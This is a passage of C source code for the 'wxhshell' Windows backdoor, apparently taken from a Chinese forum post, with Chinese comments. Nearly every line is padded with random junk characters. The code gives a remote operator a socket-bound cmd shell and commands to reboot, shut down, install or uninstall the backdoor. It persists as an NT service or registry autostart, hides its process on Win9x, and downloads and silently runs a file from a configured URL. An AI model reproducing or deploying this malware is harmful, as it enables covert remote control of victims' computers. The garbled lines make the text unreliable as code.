  case '?': { ^tWt"GgC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -8sm^A>C  
    break; K+3dwQo  
  } :)!X%2 _  
  // 安装 yZ {H  
  case 'i': { ']nB_x7  
    if(Install()) Y,-?oBY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aBo8?VV]8  
    else ]_cBd)3P}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YeN /J.R  
    break; Y)?dq(  
    } "`b"PQ<x  
  // 卸载 n5nV4 61U  
  case 'r': { @,Je*5$o"  
    if(Uninstall()) #41fRmzC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kOv2E]  
    else ?{bF3Mz=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ( K5w0  
    break; I\NiA>c  
    } Q.5C$I  
  // 显示 wxhshell 所在路径 h'{}eYb+   
  case 'p': { +&LzLF.bK  
    char svExeFile[MAX_PATH]; Va^AEuzF  
    strcpy(svExeFile,"\n\r"); Sq9I]A  
      strcat(svExeFile,ExeFile); \/rK0|2A  
        send(wsh,svExeFile,strlen(svExeFile),0); nWTo$*>W  
    break; ]dZ8]I<$C  
    } $"P9I-\m  
  // 重启 x/nlIoT  
  case 'b': { f1c Q*#2~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %s.hqr,I  
    if(Boot(REBOOT)) Ql1HaC/5)-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /:]`TlAb,  
    else { 'r KDw06/  
    closesocket(wsh); g.AMCM?z  
    ExitThread(0); QPe+K61U  
    } ]B;GU  
    break; r 5!ie!5gE  
    }  Vf:w.G A  
  // 关机 "CYh"4]@rD  
  case 'd': { ldjypEa}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T[mo PD5  
    if(Boot(SHUTDOWN)) !PN;XZ~{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *?/9lAm  
    else { ,|gX?[o  
    closesocket(wsh); /O"IA4O  
    ExitThread(0); vn n4  
    } _xgF?#  
    break; ML6V,V/e  
    } i^c  
  // 获取shell !olvP*c"  
  case 's': { Yjv[rH5v  
    CmdShell(wsh); f wN  
    closesocket(wsh); ahagt9[,:F  
    ExitThread(0); (!h%) _?.l  
    break; sOc<'):TK  
  } 7U#`^Q}  
  // 退出 f_`gUMf  
  case 'x': { mZ;W$y SO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zWiM l.[  
    CloseIt(wsh); VGbuEC[Y  
    break; _ Je k;N  
    } #qk}e4u  
  // 离开 DlB"o.  
  case 'q': { FA 1E`AdU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !^Mk5E(  
    closesocket(wsh); I!(.tu6u6c  
    WSACleanup(); #q{i<E 07  
    exit(1); M8Y\1#~  
    break; m5HP56a  
        } EjsAV F [@  
  } b6Jv|1w'  
  } z/bJDSQ  
#(o 'G4T  
  // 提示信息 !!Tk'=t9"3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0 S3~IeJ  
} Ndj9B|s_  
  } 7g(,$5  
RX",Zt$q  
  return; \~H; Wt5  
} 3VJoH4E!6  
\0%)eJ  
// shell模块句柄 q7}$F]UM"  
int CmdShell(SOCKET sock) "hRw_<  
{ vkmTd4g  
STARTUPINFO si; .lMIJN&/  
ZeroMemory(&si,sizeof(si)); H \ $04vkR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kc&>l (  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; RulZh2C  
PROCESS_INFORMATION ProcessInfo; n7~!klF-  
char cmdline[]="cmd"; 0mB]*<x8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^H'zS3S  
  return 0; Ro+/=*ql~  
} Q1qf'u  
'>:mEXK}w  
// 自身启动模式 uHdrHP  
int StartFromService(void) 4;;F(yk8  
{ mk JS_6  
typedef struct &&e{9{R  
{ EK:!.Fl  
  DWORD ExitStatus; Zf<M14iM  
  DWORD PebBaseAddress; wAE ,mw  
  DWORD AffinityMask; m ys5B}  
  DWORD BasePriority; =re1xR!E5  
  ULONG UniqueProcessId; YH`/;H=$G/  
  ULONG InheritedFromUniqueProcessId; Gy36{*  
}   PROCESS_BASIC_INFORMATION; t0Q/vp*/  
~ei\~;n\@  
PROCNTQSIP NtQueryInformationProcess; ^6v ob  
^ri?eKy.-g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )i&9)_ro  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v#/Uq?us  
9WQC\/w  
  HANDLE             hProcess; E?|"?R,,,  
  PROCESS_BASIC_INFORMATION pbi;  5#JGNxO  
)I<p<HQD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >So)KB  
  if(NULL == hInst ) return 0; Ww*='lz  
j3QpY9A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /#J)EH4p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gx&BzODPd0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _5Q?]-M  
>8;Co]::kx  
  if (!NtQueryInformationProcess) return 0; 2BOe,giy  
F,#)8>O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Yo:l@(  
  if(!hProcess) return 0; 8:,E=swe  
-A}*Aa'\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8XwAKN:f  
uV<I!jyI  
  CloseHandle(hProcess); 2U,O e9  
G.K3'^_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <Gzy*1 Q&  
if(hProcess==NULL) return 0; m`UNdFS  
Z~o*$tF/  
HMODULE hMod; )AOD~T4s7  
char procName[255]; !Y_"q^5GG'  
unsigned long cbNeeded; iK%<0m  
0N.tPF}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Xr~6_N{J  
h d1H  
  CloseHandle(hProcess); yvo~'k#c  
'01H8er  
if(strstr(procName,"services")) return 1; // 以服务启动 |i-Qfpn  
xKKL4ws  
  return 0; // 注册表启动 D3yG@lIP3  
} ~1YL  
*&B1(&{:V  
// 主模块 tYyva  
int StartWxhshell(LPSTR lpCmdLine) 2X2,( D!  
{ GP ;c$pC  
  SOCKET wsl; \s Fdp!M}2  
BOOL val=TRUE; N1WP  
  int port=0; j.4oYxK!s/  
  struct sockaddr_in door; cA ;'~[  
POTW+Zq]  
  if(wscfg.ws_autoins) Install(); b3e:F{n ^  
N!DAn \g  
port=atoi(lpCmdLine); k;:v~7VF  
ay#cW.,  
if(port<=0) port=wscfg.ws_port; -bo2"*|m  
W;*rSK|(Sc  
  WSADATA data; `pY\Mmgv1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i%H_ua  
E!'H,#"P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J) v~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); aR.1&3fE  
  door.sin_family = AF_INET; 9"R]"v3BA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O!='U!X@P  
  door.sin_port = htons(port); xbrxh-gV  
Ay<'Z6`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m` cw:  
closesocket(wsl); dz.]5R  
return 1; iC&=-$vu  
} HTI1eLZ2  
c+AZ(6O ?\  
  if(listen(wsl,2) == INVALID_SOCKET) { 1(M0C[P  
closesocket(wsl); )'\Jp 7*3  
return 1; L7mN&Xr  
} \Q{@AC<?i  
  Wxhshell(wsl); qEKTSet?  
  WSACleanup(); (r`+q[  
H V<|eL #  
return 0; tA$,4B?  
I.tJ4  
} BQ[1,\>  
` =dD6r  
// 以NT服务方式启动 PaV[{ CD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &oiX/UaY  
{ @Fqh]1t  
DWORD   status = 0; (6z^m?t?  
  DWORD   specificError = 0xfffffff; exV6&bdu  
wXDF7tJh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t$r^'ZN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; XETY)<g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3tI=? E#  
  serviceStatus.dwWin32ExitCode     = 0; 8rXq-V_u  
  serviceStatus.dwServiceSpecificExitCode = 0; &/R@cS6}'  
  serviceStatus.dwCheckPoint       = 0; C.s{ &  
  serviceStatus.dwWaitHint       = 0; @/yRE^c  
lDV8<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g^8dDY[%  
  if (hServiceStatusHandle==0) return; ]4\^>  
`LH!"M  
status = GetLastError(); -2|D( sO  
  if (status!=NO_ERROR) >yUThhJRn  
{ dra'1E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ];6c/#2x  
    serviceStatus.dwCheckPoint       = 0; rwFR5  
    serviceStatus.dwWaitHint       = 0; [y}/QPR  
    serviceStatus.dwWin32ExitCode     = status; wq_c^Ioy  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ri4_zb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); UT [7 J  
    return; m\7-/e2 a  
  } #h ;j2  
WM: ~P$%cx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 28SlFu?  
  serviceStatus.dwCheckPoint       = 0; rui}a=rs  
  serviceStatus.dwWaitHint       = 0; [e3|yE6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )V JAs|  
} ?+GbPG~  
+-'qI_xo  
// 处理NT服务事件,比如:启动、停止 E xKH%I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nFW^^v<  
{ vX)6N#D!  
switch(fdwControl) t*<vc]D  
{ xC`Hm?kM  
case SERVICE_CONTROL_STOP: jM1_+Lm1  
  serviceStatus.dwWin32ExitCode = 0; EVNTn`J_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B+);y  
  serviceStatus.dwCheckPoint   = 0; p\:_E+lsU  
  serviceStatus.dwWaitHint     = 0; "*laY<E  
  { y 4,2Xs9,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); og MLv}  
  } *]z.BZI:  
  return; V|}9d:&O  
case SERVICE_CONTROL_PAUSE: +^gh3Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VbM5]UT/  
  break; /}2 bsiJT  
case SERVICE_CONTROL_CONTINUE: 0NfO|l7P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )]J I Q"rR  
  break; 5h1!E  
case SERVICE_CONTROL_INTERROGATE: C-qsyJgZy  
  break; >tr?5iKxc  
}; "+_]N9%)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vKAHf;1  
} _|DP  
% %c0UaV  
// 标准应用程序主函数 kBIF[.v(\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0o At=S  
{ fj0+a0h  
i0-!!  
// 获取操作系统版本 j6Jz  
OsIsNt=GetOsVer(); rRcfZZ~` M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u>& \@?(  
8)5 n  
  // 从命令行安装 l4U& CA y  
  if(strpbrk(lpCmdLine,"iI")) Install(); $2]1 3j  
MGc=TQ.  
  // 下载执行文件 @EfCNOy  
if(wscfg.ws_downexe) { #H O\I7m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z(.$>O&6H  
  WinExec(wscfg.ws_filenam,SW_HIDE); L)8+/+  
} a[";K,  
huvg'Y t  
if(!OsIsNt) { -/x +M-X#  
// 如果时win9x,隐藏进程并且设置为注册表启动 H4l:L(!D  
HideProc(); .~v~~VL1NS  
StartWxhshell(lpCmdLine); ;zs*Zd7h M  
} )@eBe^  
else t8i"f L  
  if(StartFromService()) XYod>[.x  
  // 以服务方式启动 l]WV?^*  
  StartServiceCtrlDispatcher(DispatchTable); a47Btd'm  
else 8o-?Y.2  
  // 普通方式启动 ]~WP;o  
  StartWxhshell(lpCmdLine); zmr=iK  
e7,iO#@:m  
return 0; Pdf_{8 r  
}
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只看该作者 1 发表于: 2006-10-10
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